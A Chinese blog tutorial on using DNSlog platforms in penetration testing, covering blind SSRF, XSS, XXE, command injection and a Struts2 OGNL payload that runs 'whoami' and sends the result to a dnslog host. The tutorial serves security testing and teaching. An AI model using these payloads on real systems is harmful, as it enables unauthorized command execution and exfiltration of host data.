Dnslog在渗透测试中的应用

前言

在某些无法直接利用漏洞获得回显,目标可以发起 DNS 请求的情况下,这个时候就可以通过dnslog把想获得的数据外带出来。

SSRF盲打

在 DNSlog 平台获取一个子域名 id02zu.dnslog.cn,然后访问 ?url=http://id02zu.dnslog.cn,平台上有靶场发起的访问请求记录
在这里插入图片描述
网上的例子:
在某系统的机票信息存在导出功能:
在这里插入图片描述
修改导出信息的请求中queryPath参数的路径为自己的 DNSlog:
在这里插入图片描述
可以看到 DNSlog 平台成功记录访问请求,证明存在 SSRF 漏洞:
在这里插入图片描述
XSS盲打
反射型 XSS我们常见做法一般是弹个 alert 就可以知道语句是否执行,但是存储型盲打 XSS 我们肯定是不可能通过 alert 去验证漏洞是否存在。弹 alert 必然是要惊动管理员,况且就算在后台弹窗了,我们也看不到。

以靶场为例,留言板插入payload:

<img src="http://pqiczg.dnslog.cn">

在这里插入图片描述XXE盲打

关于XXE可以参考这篇:https://blog.csdn.net/weixin_39190897/article/details/103237488

构建常规测试payload,执行结果:

<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker "Tr0e">
]>
<name>&hacker;</name>

在这里插入图片描述假设这是一个 XXE 无回显的漏洞,可以构造如下 DNSlog 相关的 Payload,执行效果如下:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://test.mnekmk.dnslog.cn" > ]> 
<foo>&xxe;</foo>

在这里插入图片描述命令注入

假设注入点无回显,payload:%os%.e24qsg.dnslog.cn,查询到了我们输入的变量
在这里插入图片描述Windows 常用变量:

//变量                 类型       描述
//%ALLUSERSPROFILE%   本地       返回“所有用户”配置文件的位置。
//%APPDATA%           本地       返回默认情况下应用程序存储数据的位置。
//%CD%                                                        本地       返回当前目录字符串。
//%CMDCMDLINE%        本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%     系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%      系统       返回计算机的名称。
//%COMSPEC%           系统       返回命令行解释器可执行程序的准确路径。
//%DATE%              系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL%        系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%         系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%          系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%         系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%       本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%         系统      指定安装在计算机上的处理器的数目。
//%OS%                           系统      返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                         系统       指定可执行文件的搜索路径。
//%PATHEXT%                      系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE%       系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%          系统       返回处理器说明。
//%PROCESSOR_LEVEL%              系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%           系统       返回处理器的版本号。
//%PROMPT%                       本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                       系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%                  系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%                   系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%                  系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                         系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN%                   本地       返回包含用户帐户的域的名称。
//%USERNAME%                     本地       返回当前登录的用户的名称。
//%USERPROFILE%                  本地       返回当前用户的配置文件的位置。
//%WINDIR%                       系统       返回操作系统目录的位置。

Linux 常用变量:

ping `whoami`.xxxx.dnslog.cn 

其他
Struts2

xx.action?redirect:http://xxxx.dnslog.cn/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://xxxx.dnslog.cn/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
DNSLog渗透测试活动事件是指利用DNSlog进行渗透测试的相关活动DNSlog是一种工具,它利用DNS解析的过程将渗透测试的结果回显到一个特定的记录DNS日志的网站。这样可以获取被攻击目标的信息,包括请求的域名和IP地址等。在渗透测试DNSlog通常被用于以下场景:SQL注入盲注、XSS盲打、无回显的命令执行、无回显的SSRF和无回显的XXE(Blind XXE)。通过使用DNSlog渗透测试人员可以获取目标系统的敏感信息,并进一步分析和攻击目标系统的漏洞。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [【老火柴擦出新火花】利用DNSlog进行更高效率的无回显渗透测试](https://blog.csdn.net/jklbnm12/article/details/118857693)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] - *2* [深度剖析DNSLog注入原理&本地实例测试](https://blog.csdn.net/monster663/article/details/113757235)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值